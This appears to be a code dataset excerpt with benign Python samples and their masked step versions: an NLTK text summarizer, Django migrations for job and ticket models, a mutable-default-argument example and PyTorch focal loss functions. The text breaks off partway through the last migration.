code
stringlengths
13
1.2M
order_type
stringclasses
1 value
original_example
dict
step_ids
listlengths
1
5
import functools import re import nltk.data from nltk.corpus import stopwords from nltk.probability import FreqDist from nltk.tokenize import RegexpTokenizer def clean(string): string = re.sub(r"\'s", " \'s", string) string = re.sub(r"\'ve", " \'ve", string) string = re.sub(r"n\'t", " n\'t", string) string = re.sub(r"\'re", " \'re", string) string = re.sub(r"\'d", " \'d", string) string = re.sub(r"\'ll", " \'ll", string) string = re.sub(r"!", " ! ", string) string = re.sub(r"\\\(", " \( ", string) string = re.sub(r"\\\)", " \) ", string) string = re.sub(r"\?", " \? ", string) string = re.sub(r"\]\]", "", string) string = re.sub(r"\n", "", string) string = string.rstrip() string = remove_text_inside_brackets(string, "(){}[]") return string.strip() def remove_text_inside_brackets(text, brackets): count = [0] * (len(brackets) // 2) # count open/close brackets saved_chars = [] for character in text: for i, b in enumerate(brackets): if character == b: # found bracket kind, is_close = divmod(i, 2) count[kind] += (-1) ** is_close # `+1`: open, `-1`: close if count[kind] < 0: # unbalanced bracket count[kind] = 0 # keep it else: # found bracket to remove break else: # character is not a [balanced] bracket if not any(count): # outside brackets saved_chars.append(character) return ''.join(saved_chars) def reorder_sentences(output_sentences, input): def custom_sort(s1, s2): return input.find(s1) - input.find(s2) output_sentences.sort(key=functools.cmp_to_key(custom_sort)) return output_sentences def get_summarized(input, num_sentences): input = clean(input) tokenizer = RegexpTokenizer('\w+') base_words = [word.lower() for word in tokenizer.tokenize(input)] words = [word for word in base_words if word not in stopwords.words()] word_frequencies = FreqDist(words) most_frequent_words = [pair[0] for pair in word_frequencies.most_common(100)] input = remove_text_inside_brackets(input, "====") sent_detector = nltk.data.load('tokenizers/punkt/english.pickle') actual_sentences_pre = sent_detector.tokenize(input) actual_sentences = [] for sentence in actual_sentences_pre: if len(sentence.split()) <= 6: continue else: actual_sentences.append(sentence) working_sentences = [sentence.lower() for sentence in actual_sentences] output_sentences = [] for word in most_frequent_words: for i in range(0, len(working_sentences)): if word in working_sentences[i] and actual_sentences[i] not in output_sentences: output_sentences.append(actual_sentences[i]) break if len(output_sentences) >= num_sentences: break if len(output_sentences) >= num_sentences: break for sentence in output_sentences: sentence.capitalize() return reorder_sentences(output_sentences, input) def summarize(input, num_sentences): return " ".join(get_summarized(input, num_sentences))
normal
{ "blob_id": "837e84d4a58d8fd0d0ffc24973d196ae57f9a260", "index": 1723, "step-1": "<mask token>\n\n\ndef reorder_sentences(output_sentences, input):\n\n def custom_sort(s1, s2):\n return input.find(s1) - input.find(s2)\n output_sentences.sort(key=functools.cmp_to_key(custom_sort))\n return output_sentences\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef clean(string):\n string = re.sub(\"\\\\'s\", \" 's\", string)\n string = re.sub(\"\\\\'ve\", \" 've\", string)\n string = re.sub(\"n\\\\'t\", \" n't\", string)\n string = re.sub(\"\\\\'re\", \" 're\", string)\n string = re.sub(\"\\\\'d\", \" 'd\", string)\n string = re.sub(\"\\\\'ll\", \" 'll\", string)\n string = re.sub('!', ' ! ', string)\n string = re.sub('\\\\\\\\\\\\(', ' \\\\( ', string)\n string = re.sub('\\\\\\\\\\\\)', ' \\\\) ', string)\n string = re.sub('\\\\?', ' \\\\? ', string)\n string = re.sub('\\\\]\\\\]', '', string)\n string = re.sub('\\\\n', '', string)\n string = string.rstrip()\n string = remove_text_inside_brackets(string, '(){}[]')\n return string.strip()\n\n\ndef remove_text_inside_brackets(text, brackets):\n count = [0] * (len(brackets) // 2)\n saved_chars = []\n for character in text:\n for i, b in enumerate(brackets):\n if character == b:\n kind, is_close = divmod(i, 2)\n count[kind] += (-1) ** is_close\n if count[kind] < 0:\n count[kind] = 0\n else:\n break\n else:\n if not any(count):\n saved_chars.append(character)\n return ''.join(saved_chars)\n\n\ndef reorder_sentences(output_sentences, input):\n\n def custom_sort(s1, s2):\n return input.find(s1) - input.find(s2)\n output_sentences.sort(key=functools.cmp_to_key(custom_sort))\n return output_sentences\n\n\n<mask token>\n\n\ndef summarize(input, num_sentences):\n return ' '.join(get_summarized(input, num_sentences))\n", "step-3": "<mask token>\n\n\ndef clean(string):\n string = re.sub(\"\\\\'s\", \" 's\", string)\n string = re.sub(\"\\\\'ve\", \" 've\", string)\n string = re.sub(\"n\\\\'t\", \" n't\", string)\n string = re.sub(\"\\\\'re\", \" 're\", string)\n string = re.sub(\"\\\\'d\", \" 'd\", string)\n string = re.sub(\"\\\\'ll\", \" 'll\", string)\n string = re.sub('!', ' ! ', string)\n string = re.sub('\\\\\\\\\\\\(', ' \\\\( ', string)\n string = re.sub('\\\\\\\\\\\\)', ' \\\\) ', string)\n string = re.sub('\\\\?', ' \\\\? ', string)\n string = re.sub('\\\\]\\\\]', '', string)\n string = re.sub('\\\\n', '', string)\n string = string.rstrip()\n string = remove_text_inside_brackets(string, '(){}[]')\n return string.strip()\n\n\ndef remove_text_inside_brackets(text, brackets):\n count = [0] * (len(brackets) // 2)\n saved_chars = []\n for character in text:\n for i, b in enumerate(brackets):\n if character == b:\n kind, is_close = divmod(i, 2)\n count[kind] += (-1) ** is_close\n if count[kind] < 0:\n count[kind] = 0\n else:\n break\n else:\n if not any(count):\n saved_chars.append(character)\n return ''.join(saved_chars)\n\n\ndef reorder_sentences(output_sentences, input):\n\n def custom_sort(s1, s2):\n return input.find(s1) - input.find(s2)\n output_sentences.sort(key=functools.cmp_to_key(custom_sort))\n return output_sentences\n\n\ndef get_summarized(input, num_sentences):\n input = clean(input)\n tokenizer = RegexpTokenizer('\\\\w+')\n base_words = [word.lower() for word in tokenizer.tokenize(input)]\n words = [word for word in base_words if word not in stopwords.words()]\n word_frequencies = FreqDist(words)\n most_frequent_words = [pair[0] for pair in word_frequencies.most_common\n (100)]\n input = remove_text_inside_brackets(input, '====')\n sent_detector = nltk.data.load('tokenizers/punkt/english.pickle')\n actual_sentences_pre = sent_detector.tokenize(input)\n actual_sentences = []\n for sentence in actual_sentences_pre:\n if len(sentence.split()) <= 6:\n continue\n else:\n actual_sentences.append(sentence)\n working_sentences = [sentence.lower() for sentence in actual_sentences]\n output_sentences = []\n for word in most_frequent_words:\n for i in range(0, len(working_sentences)):\n if word in working_sentences[i] and actual_sentences[i\n ] not in output_sentences:\n output_sentences.append(actual_sentences[i])\n break\n if len(output_sentences) >= num_sentences:\n break\n if len(output_sentences) >= num_sentences:\n break\n for sentence in output_sentences:\n sentence.capitalize()\n return reorder_sentences(output_sentences, input)\n\n\ndef summarize(input, num_sentences):\n return ' '.join(get_summarized(input, num_sentences))\n", "step-4": "import functools\nimport re\nimport nltk.data\nfrom nltk.corpus import stopwords\nfrom nltk.probability import FreqDist\nfrom nltk.tokenize import RegexpTokenizer\n\n\ndef clean(string):\n string = re.sub(\"\\\\'s\", \" 's\", string)\n string = re.sub(\"\\\\'ve\", \" 've\", string)\n string = re.sub(\"n\\\\'t\", \" n't\", string)\n string = re.sub(\"\\\\'re\", \" 're\", string)\n string = re.sub(\"\\\\'d\", \" 'd\", string)\n string = re.sub(\"\\\\'ll\", \" 'll\", string)\n string = re.sub('!', ' ! ', string)\n string = re.sub('\\\\\\\\\\\\(', ' \\\\( ', string)\n string = re.sub('\\\\\\\\\\\\)', ' \\\\) ', string)\n string = re.sub('\\\\?', ' \\\\? ', string)\n string = re.sub('\\\\]\\\\]', '', string)\n string = re.sub('\\\\n', '', string)\n string = string.rstrip()\n string = remove_text_inside_brackets(string, '(){}[]')\n return string.strip()\n\n\ndef remove_text_inside_brackets(text, brackets):\n count = [0] * (len(brackets) // 2)\n saved_chars = []\n for character in text:\n for i, b in enumerate(brackets):\n if character == b:\n kind, is_close = divmod(i, 2)\n count[kind] += (-1) ** is_close\n if count[kind] < 0:\n count[kind] = 0\n else:\n break\n else:\n if not any(count):\n saved_chars.append(character)\n return ''.join(saved_chars)\n\n\ndef reorder_sentences(output_sentences, input):\n\n def custom_sort(s1, s2):\n return input.find(s1) - input.find(s2)\n output_sentences.sort(key=functools.cmp_to_key(custom_sort))\n return output_sentences\n\n\ndef get_summarized(input, num_sentences):\n input = clean(input)\n tokenizer = RegexpTokenizer('\\\\w+')\n base_words = [word.lower() for word in tokenizer.tokenize(input)]\n words = [word for word in base_words if word not in stopwords.words()]\n word_frequencies = FreqDist(words)\n most_frequent_words = [pair[0] for pair in word_frequencies.most_common\n (100)]\n input = remove_text_inside_brackets(input, '====')\n sent_detector = nltk.data.load('tokenizers/punkt/english.pickle')\n actual_sentences_pre = sent_detector.tokenize(input)\n actual_sentences = []\n for sentence in actual_sentences_pre:\n if len(sentence.split()) <= 6:\n continue\n else:\n actual_sentences.append(sentence)\n working_sentences = [sentence.lower() for sentence in actual_sentences]\n output_sentences = []\n for word in most_frequent_words:\n for i in range(0, len(working_sentences)):\n if word in working_sentences[i] and actual_sentences[i\n ] not in output_sentences:\n output_sentences.append(actual_sentences[i])\n break\n if len(output_sentences) >= num_sentences:\n break\n if len(output_sentences) >= num_sentences:\n break\n for sentence in output_sentences:\n sentence.capitalize()\n return reorder_sentences(output_sentences, input)\n\n\ndef summarize(input, num_sentences):\n return ' '.join(get_summarized(input, num_sentences))\n", "step-5": "import functools\nimport re\nimport nltk.data\nfrom nltk.corpus import stopwords\nfrom nltk.probability import FreqDist\nfrom nltk.tokenize import RegexpTokenizer\n\n\ndef clean(string):\n string = re.sub(r\"\\'s\", \" \\'s\", string)\n string = re.sub(r\"\\'ve\", \" \\'ve\", string)\n string = re.sub(r\"n\\'t\", \" n\\'t\", string)\n string = re.sub(r\"\\'re\", \" \\'re\", string)\n string = re.sub(r\"\\'d\", \" \\'d\", string)\n string = re.sub(r\"\\'ll\", \" \\'ll\", string)\n string = re.sub(r\"!\", \" ! \", string)\n string = re.sub(r\"\\\\\\(\", \" \\( \", string)\n string = re.sub(r\"\\\\\\)\", \" \\) \", string)\n string = re.sub(r\"\\?\", \" \\? \", string)\n string = re.sub(r\"\\]\\]\", \"\", string)\n string = re.sub(r\"\\n\", \"\", string)\n string = string.rstrip()\n string = remove_text_inside_brackets(string, \"(){}[]\")\n return string.strip()\n\n\ndef remove_text_inside_brackets(text, brackets):\n count = [0] * (len(brackets) // 2) # count open/close brackets\n saved_chars = []\n for character in text:\n for i, b in enumerate(brackets):\n if character == b: # found bracket\n kind, is_close = divmod(i, 2)\n count[kind] += (-1) ** is_close # `+1`: open, `-1`: close\n if count[kind] < 0: # unbalanced bracket\n count[kind] = 0 # keep it\n else: # found bracket to remove\n break\n else: # character is not a [balanced] bracket\n if not any(count): # outside brackets\n saved_chars.append(character)\n return ''.join(saved_chars)\n\n\ndef reorder_sentences(output_sentences, input):\n def custom_sort(s1, s2):\n return input.find(s1) - input.find(s2)\n\n output_sentences.sort(key=functools.cmp_to_key(custom_sort))\n return output_sentences\n\n\ndef get_summarized(input, num_sentences):\n input = clean(input)\n tokenizer = RegexpTokenizer('\\w+')\n base_words = [word.lower() for word in tokenizer.tokenize(input)]\n words = [word for word in base_words if word not in stopwords.words()]\n word_frequencies = FreqDist(words)\n most_frequent_words = [pair[0] for pair in word_frequencies.most_common(100)]\n\n input = remove_text_inside_brackets(input, \"====\")\n\n sent_detector = nltk.data.load('tokenizers/punkt/english.pickle')\n actual_sentences_pre = sent_detector.tokenize(input)\n actual_sentences = []\n for sentence in actual_sentences_pre:\n if len(sentence.split()) <= 6:\n continue\n else:\n actual_sentences.append(sentence)\n working_sentences = [sentence.lower() for sentence in actual_sentences]\n output_sentences = []\n\n for word in most_frequent_words:\n for i in range(0, len(working_sentences)):\n if word in working_sentences[i] and actual_sentences[i] not in output_sentences:\n output_sentences.append(actual_sentences[i])\n break\n if len(output_sentences) >= num_sentences:\n break\n\n if len(output_sentences) >= num_sentences:\n break\n for sentence in output_sentences:\n sentence.capitalize()\n return reorder_sentences(output_sentences, input)\n\n\ndef summarize(input, num_sentences):\n return \" \".join(get_summarized(input, num_sentences))\n", "step-ids": [ 1, 4, 5, 6, 7 ] }
[ 1, 4, 5, 6, 7 ]
# Generated by Django 3.1.2 on 2020-10-25 01:19 import datetime from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('jobs', '0001_initial'), ] operations = [ migrations.AddField( model_name='job', name='link', field=models.URLField(null=True), ), migrations.AddField( model_name='job', name='title', field=models.CharField(default=datetime.date(2020, 10, 25), max_length=200), preserve_default=False, ), ]
normal
{ "blob_id": "562888201719456ed2f3c32e81ffd7d2c39dabc3", "index": 7303, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass Migration(migrations.Migration):\n <mask token>\n <mask token>\n", "step-3": "<mask token>\n\n\nclass Migration(migrations.Migration):\n dependencies = [('jobs', '0001_initial')]\n operations = [migrations.AddField(model_name='job', name='link', field=\n models.URLField(null=True)), migrations.AddField(model_name='job',\n name='title', field=models.CharField(default=datetime.date(2020, 10,\n 25), max_length=200), preserve_default=False)]\n", "step-4": "import datetime\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n dependencies = [('jobs', '0001_initial')]\n operations = [migrations.AddField(model_name='job', name='link', field=\n models.URLField(null=True)), migrations.AddField(model_name='job',\n name='title', field=models.CharField(default=datetime.date(2020, 10,\n 25), max_length=200), preserve_default=False)]\n", "step-5": "# Generated by Django 3.1.2 on 2020-10-25 01:19\n\nimport datetime\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('jobs', '0001_initial'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='job',\n name='link',\n field=models.URLField(null=True),\n ),\n migrations.AddField(\n model_name='job',\n name='title',\n field=models.CharField(default=datetime.date(2020, 10, 25), max_length=200),\n preserve_default=False,\n ),\n ]\n", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
#デフォルト引数の破壊 #以下、破壊的な操作 def sample(x, arg=[]): arg.append(x) return arg print(sample(1)) print(sample(2)) print(sample(3)) #対策・・・デフォルト引数にはイミュータブルなものを使用する def sample(x, arg=None): if arg is None: arg = [] arg.append(x) return arg print(sample(1)) print(sample(2)) print(sample(3))
normal
{ "blob_id": "1b645ab0a48b226e26009f76ea49fd3f10f5cc7b", "index": 3880, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef sample(x, arg=None):\n if arg is None:\n arg = []\n arg.append(x)\n return arg\n\n\n<mask token>\n", "step-3": "def sample(x, arg=[]):\n arg.append(x)\n return arg\n\n\n<mask token>\n\n\ndef sample(x, arg=None):\n if arg is None:\n arg = []\n arg.append(x)\n return arg\n\n\n<mask token>\n", "step-4": "def sample(x, arg=[]):\n arg.append(x)\n return arg\n\n\nprint(sample(1))\nprint(sample(2))\nprint(sample(3))\n\n\ndef sample(x, arg=None):\n if arg is None:\n arg = []\n arg.append(x)\n return arg\n\n\nprint(sample(1))\nprint(sample(2))\nprint(sample(3))\n", "step-5": "#デフォルト引数の破壊\r\n#以下、破壊的な操作\r\ndef sample(x, arg=[]):\r\n arg.append(x)\r\n return arg\r\n\r\nprint(sample(1))\r\nprint(sample(2))\r\nprint(sample(3))\r\n\r\n#対策・・・デフォルト引数にはイミュータブルなものを使用する\r\ndef sample(x, arg=None):\r\n if arg is None:\r\n arg = []\r\n \r\n arg.append(x)\r\n return arg\r\n\r\nprint(sample(1))\r\nprint(sample(2))\r\nprint(sample(3))", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
import numpy as np from Ejercicio1 import norma_l2 def sorting_l2(mat): mat_l2 = norma_l2(mat) mat_sort_index = np.argsort(mat_l2) mat_sort_l2 = mat[mat_sort_index, :] return mat_sort_l2[::-1]
normal
{ "blob_id": "e280b003c95681ed4a887b0939077efeac9deefe", "index": 1377, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef sorting_l2(mat):\n mat_l2 = norma_l2(mat)\n mat_sort_index = np.argsort(mat_l2)\n mat_sort_l2 = mat[mat_sort_index, :]\n return mat_sort_l2[::-1]\n", "step-3": "import numpy as np\nfrom Ejercicio1 import norma_l2\n\n\ndef sorting_l2(mat):\n mat_l2 = norma_l2(mat)\n mat_sort_index = np.argsort(mat_l2)\n mat_sort_l2 = mat[mat_sort_index, :]\n return mat_sort_l2[::-1]\n", "step-4": null, "step-5": null, "step-ids": [ 0, 1, 2 ] }
[ 0, 1, 2 ]
import torch import torch.nn as nn from torch.nn import functional as F class FocalLoss1(nn.Module): def __init__(self, alpha=0.25, gamma=2, reduction='mean', ignore_lb=255): super().__init__() self.alpha = alpha self.gamma = gamma self.reduction = reduction self.ignore_lb = ignore_lb def forward(self, logits, label): """[summary] Args: logits ([type]): tensor of shape (N, C, H, W) label ([type]): tensor of shape(N, H, W) Returns: [type]: [description] """ # overcome ignored label ignore = label.data.cpu() == self.ignore_lb n_valid = (ignore == 0).sum() label[ignore] = 0 ignore = ignore.nonzero() _, M = ignore.size() a, *b = ignore.chunk(M, dim=1) mask = torch.ones_like(logits) mask[[a, torch.arange(mask.size(1)), *b]] = 0 # compute loss probs = torch.sigmoid(logits) lb_one_hot = logits.data.clone().zero_().scatter_(1, label.unsqueeze(1), 1) pt = torch.where(lb_one_hot == 1, probs, 1 - probs) alpha = self.alpha * lb_one_hot + (1 - self.alpha) * (1 - lb_one_hot) loss = -alpha * ((1 - pt)**self.gamma) * torch.log(pt + 1e-12) loss[mask == 0] = 0 if self.reduction == 'mean': loss = loss.sum(dim=1).sum() / n_valid return loss class FocalLoss(nn.Module): """https://www.kaggle.com/c/human-protein-atlas-image-classification/discussion/78109""" def __init__(self, gamma=2): super().__init__() self.gamma = gamma def forward(self, logit, target): target = target.float() max_val = (-logit).clamp(min=0) loss = logit - logit * target + max_val + ((-max_val).exp() + (-logit - max_val).exp()).log() invprobs = F.logsigmoid(-logit * (target * 2.0 - 1.0)) loss = (invprobs * self.gamma).exp() * loss loss = loss.sum(dim=1) if len(loss.size()) == 2 else loss return loss.mean()
normal
{ "blob_id": "9e9303d58c7e091bf7432060fad292c16ecf85ee", "index": 9280, "step-1": "<mask token>\n\n\nclass FocalLoss(nn.Module):\n \"\"\"https://www.kaggle.com/c/human-protein-atlas-image-classification/discussion/78109\"\"\"\n\n def __init__(self, gamma=2):\n super().__init__()\n self.gamma = gamma\n\n def forward(self, logit, target):\n target = target.float()\n max_val = (-logit).clamp(min=0)\n loss = logit - logit * target + max_val + ((-max_val).exp() + (-\n logit - max_val).exp()).log()\n invprobs = F.logsigmoid(-logit * (target * 2.0 - 1.0))\n loss = (invprobs * self.gamma).exp() * loss\n loss = loss.sum(dim=1) if len(loss.size()) == 2 else loss\n return loss.mean()\n", "step-2": "<mask token>\n\n\nclass FocalLoss1(nn.Module):\n <mask token>\n\n def forward(self, logits, label):\n \"\"\"[summary]\n \n Args:\n logits ([type]): tensor of shape (N, C, H, W)\n label ([type]): tensor of shape(N, H, W)\n \n Returns:\n [type]: [description]\n \"\"\"\n ignore = label.data.cpu() == self.ignore_lb\n n_valid = (ignore == 0).sum()\n label[ignore] = 0\n ignore = ignore.nonzero()\n _, M = ignore.size()\n a, *b = ignore.chunk(M, dim=1)\n mask = torch.ones_like(logits)\n mask[[a, torch.arange(mask.size(1)), *b]] = 0\n probs = torch.sigmoid(logits)\n lb_one_hot = logits.data.clone().zero_().scatter_(1, label.\n unsqueeze(1), 1)\n pt = torch.where(lb_one_hot == 1, probs, 1 - probs)\n alpha = self.alpha * lb_one_hot + (1 - self.alpha) * (1 - lb_one_hot)\n loss = -alpha * (1 - pt) ** self.gamma * torch.log(pt + 1e-12)\n loss[mask == 0] = 0\n if self.reduction == 'mean':\n loss = loss.sum(dim=1).sum() / n_valid\n return loss\n\n\nclass FocalLoss(nn.Module):\n \"\"\"https://www.kaggle.com/c/human-protein-atlas-image-classification/discussion/78109\"\"\"\n\n def __init__(self, gamma=2):\n super().__init__()\n self.gamma = gamma\n\n def forward(self, logit, target):\n target = target.float()\n max_val = (-logit).clamp(min=0)\n loss = logit - logit * target + max_val + ((-max_val).exp() + (-\n logit - max_val).exp()).log()\n invprobs = F.logsigmoid(-logit * (target * 2.0 - 1.0))\n loss = (invprobs * self.gamma).exp() * loss\n loss = loss.sum(dim=1) if len(loss.size()) == 2 else loss\n return loss.mean()\n", "step-3": "<mask token>\n\n\nclass FocalLoss1(nn.Module):\n\n def __init__(self, alpha=0.25, gamma=2, reduction='mean', ignore_lb=255):\n super().__init__()\n self.alpha = alpha\n self.gamma = gamma\n self.reduction = reduction\n self.ignore_lb = ignore_lb\n\n def forward(self, logits, label):\n \"\"\"[summary]\n \n Args:\n logits ([type]): tensor of shape (N, C, H, W)\n label ([type]): tensor of shape(N, H, W)\n \n Returns:\n [type]: [description]\n \"\"\"\n ignore = label.data.cpu() == self.ignore_lb\n n_valid = (ignore == 0).sum()\n label[ignore] = 0\n ignore = ignore.nonzero()\n _, M = ignore.size()\n a, *b = ignore.chunk(M, dim=1)\n mask = torch.ones_like(logits)\n mask[[a, torch.arange(mask.size(1)), *b]] = 0\n probs = torch.sigmoid(logits)\n lb_one_hot = logits.data.clone().zero_().scatter_(1, label.\n unsqueeze(1), 1)\n pt = torch.where(lb_one_hot == 1, probs, 1 - probs)\n alpha = self.alpha * lb_one_hot + (1 - self.alpha) * (1 - lb_one_hot)\n loss = -alpha * (1 - pt) ** self.gamma * torch.log(pt + 1e-12)\n loss[mask == 0] = 0\n if self.reduction == 'mean':\n loss = loss.sum(dim=1).sum() / n_valid\n return loss\n\n\nclass FocalLoss(nn.Module):\n \"\"\"https://www.kaggle.com/c/human-protein-atlas-image-classification/discussion/78109\"\"\"\n\n def __init__(self, gamma=2):\n super().__init__()\n self.gamma = gamma\n\n def forward(self, logit, target):\n target = target.float()\n max_val = (-logit).clamp(min=0)\n loss = logit - logit * target + max_val + ((-max_val).exp() + (-\n logit - max_val).exp()).log()\n invprobs = F.logsigmoid(-logit * (target * 2.0 - 1.0))\n loss = (invprobs * self.gamma).exp() * loss\n loss = loss.sum(dim=1) if len(loss.size()) == 2 else loss\n return loss.mean()\n", "step-4": "import torch\nimport torch.nn as nn\nfrom torch.nn import functional as F\n\n\nclass FocalLoss1(nn.Module):\n\n def __init__(self, alpha=0.25, gamma=2, reduction='mean', ignore_lb=255):\n super().__init__()\n self.alpha = alpha\n self.gamma = gamma\n self.reduction = reduction\n self.ignore_lb = ignore_lb\n\n def forward(self, logits, label):\n \"\"\"[summary]\n \n Args:\n logits ([type]): tensor of shape (N, C, H, W)\n label ([type]): tensor of shape(N, H, W)\n \n Returns:\n [type]: [description]\n \"\"\"\n ignore = label.data.cpu() == self.ignore_lb\n n_valid = (ignore == 0).sum()\n label[ignore] = 0\n ignore = ignore.nonzero()\n _, M = ignore.size()\n a, *b = ignore.chunk(M, dim=1)\n mask = torch.ones_like(logits)\n mask[[a, torch.arange(mask.size(1)), *b]] = 0\n probs = torch.sigmoid(logits)\n lb_one_hot = logits.data.clone().zero_().scatter_(1, label.\n unsqueeze(1), 1)\n pt = torch.where(lb_one_hot == 1, probs, 1 - probs)\n alpha = self.alpha * lb_one_hot + (1 - self.alpha) * (1 - lb_one_hot)\n loss = -alpha * (1 - pt) ** self.gamma * torch.log(pt + 1e-12)\n loss[mask == 0] = 0\n if self.reduction == 'mean':\n loss = loss.sum(dim=1).sum() / n_valid\n return loss\n\n\nclass FocalLoss(nn.Module):\n \"\"\"https://www.kaggle.com/c/human-protein-atlas-image-classification/discussion/78109\"\"\"\n\n def __init__(self, gamma=2):\n super().__init__()\n self.gamma = gamma\n\n def forward(self, logit, target):\n target = target.float()\n max_val = (-logit).clamp(min=0)\n loss = logit - logit * target + max_val + ((-max_val).exp() + (-\n logit - max_val).exp()).log()\n invprobs = F.logsigmoid(-logit * (target * 2.0 - 1.0))\n loss = (invprobs * self.gamma).exp() * loss\n loss = loss.sum(dim=1) if len(loss.size()) == 2 else loss\n return loss.mean()\n", "step-5": "import torch\nimport torch.nn as nn\nfrom torch.nn import functional as F\n\n\nclass FocalLoss1(nn.Module):\n def __init__(self, alpha=0.25, gamma=2, reduction='mean', ignore_lb=255):\n super().__init__()\n self.alpha = alpha\n self.gamma = gamma\n self.reduction = reduction\n self.ignore_lb = ignore_lb\n\n def forward(self, logits, label):\n \"\"\"[summary]\n \n Args:\n logits ([type]): tensor of shape (N, C, H, W)\n label ([type]): tensor of shape(N, H, W)\n \n Returns:\n [type]: [description]\n \"\"\"\n\n # overcome ignored label\n ignore = label.data.cpu() == self.ignore_lb\n n_valid = (ignore == 0).sum()\n label[ignore] = 0\n\n ignore = ignore.nonzero()\n _, M = ignore.size()\n a, *b = ignore.chunk(M, dim=1)\n mask = torch.ones_like(logits)\n mask[[a, torch.arange(mask.size(1)), *b]] = 0\n\n # compute loss\n probs = torch.sigmoid(logits)\n lb_one_hot = logits.data.clone().zero_().scatter_(1, label.unsqueeze(1), 1)\n pt = torch.where(lb_one_hot == 1, probs, 1 - probs)\n alpha = self.alpha * lb_one_hot + (1 - self.alpha) * (1 - lb_one_hot)\n loss = -alpha * ((1 - pt)**self.gamma) * torch.log(pt + 1e-12)\n loss[mask == 0] = 0\n if self.reduction == 'mean':\n loss = loss.sum(dim=1).sum() / n_valid\n return loss\n\n\nclass FocalLoss(nn.Module):\n \"\"\"https://www.kaggle.com/c/human-protein-atlas-image-classification/discussion/78109\"\"\"\n\n def __init__(self, gamma=2):\n super().__init__()\n self.gamma = gamma\n\n def forward(self, logit, target):\n target = target.float()\n max_val = (-logit).clamp(min=0)\n loss = logit - logit * target + max_val + ((-max_val).exp() + (-logit - max_val).exp()).log()\n invprobs = F.logsigmoid(-logit * (target * 2.0 - 1.0))\n loss = (invprobs * self.gamma).exp() * loss\n loss = loss.sum(dim=1) if len(loss.size()) == 2 else loss\n return loss.mean()\n", "step-ids": [ 4, 6, 7, 8, 9 ] }
[ 4, 6, 7, 8, 9 ]
# Generated by Django 2.2.5 on 2019-10-09 12:06 from django.conf import settings from django.db import migrations, models import django.db.models.deletion import mptt.fields class Migration(migrations.Migration): initial = True dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ('users', '0002_customer_employee_lead_manager'), ] operations = [ migrations.CreateModel( name='Product', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=255, unique=True)), ('lft', models.PositiveIntegerField(editable=False)), ('rght', models.PositiveIntegerField(editable=False)), ('tree_id', models.PositiveIntegerField(db_index=True, editable=False)), ('level', models.PositiveIntegerField(editable=False)), ('parent', mptt.fields.TreeForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='children', to='core.Product')), ], options={ 'abstract': False, }, ), migrations.CreateModel( name='Ticket', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=255)), ('description', models.CharField(max_length=255)), ('state', models.CharField(max_length=255)), ('created', models.DateTimeField()), ('product', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='tickets', to='core.Product')), ], ), migrations.CreateModel( name='Task', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('description', models.CharField(max_length=255)), ('state', models.CharField(max_length=255)), ('estimated', models.DateTimeField()), ('reported', models.DateTimeField()), ('employee', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='tasks', to='users.Employee')), ], ), migrations.CreateModel( name='Comment', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('text', models.TextField()), ('ticket', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='comments', to='core.Ticket')), ('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='comments', to=settings.AUTH_USER_MODEL)), ], ), migrations.CreateModel( name='Attachment', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=255)), ('file', models.FileField(upload_to='')), ('ticket', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='attachments', to='core.Ticket')), ], ), ]
normal
{ "blob_id": "5485fe4f612ededc11e3a96dfd546e97a56cbe2a", "index": 3316, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass Migration(migrations.Migration):\n <mask token>\n <mask token>\n <mask token>\n", "step-3": "<mask token>\n\n\nclass Migration(migrations.Migration):\n initial = True\n dependencies = [migrations.swappable_dependency(settings.\n AUTH_USER_MODEL), ('users', '0002_customer_employee_lead_manager')]\n operations = [migrations.CreateModel(name='Product', fields=[('id',\n models.AutoField(auto_created=True, primary_key=True, serialize=\n False, verbose_name='ID')), ('name', models.CharField(max_length=\n 255, unique=True)), ('lft', models.PositiveIntegerField(editable=\n False)), ('rght', models.PositiveIntegerField(editable=False)), (\n 'tree_id', models.PositiveIntegerField(db_index=True, editable=\n False)), ('level', models.PositiveIntegerField(editable=False)), (\n 'parent', mptt.fields.TreeForeignKey(blank=True, null=True,\n on_delete=django.db.models.deletion.CASCADE, related_name=\n 'children', to='core.Product'))], options={'abstract': False}),\n migrations.CreateModel(name='Ticket', fields=[('id', models.\n AutoField(auto_created=True, primary_key=True, serialize=False,\n verbose_name='ID')), ('name', models.CharField(max_length=255)), (\n 'description', models.CharField(max_length=255)), ('state', models.\n CharField(max_length=255)), ('created', models.DateTimeField()), (\n 'product', models.ForeignKey(on_delete=django.db.models.deletion.\n CASCADE, related_name='tickets', to='core.Product'))]), migrations.\n CreateModel(name='Task', fields=[('id', models.AutoField(\n auto_created=True, primary_key=True, serialize=False, verbose_name=\n 'ID')), ('description', models.CharField(max_length=255)), ('state',\n models.CharField(max_length=255)), ('estimated', models.\n DateTimeField()), ('reported', models.DateTimeField()), ('employee',\n 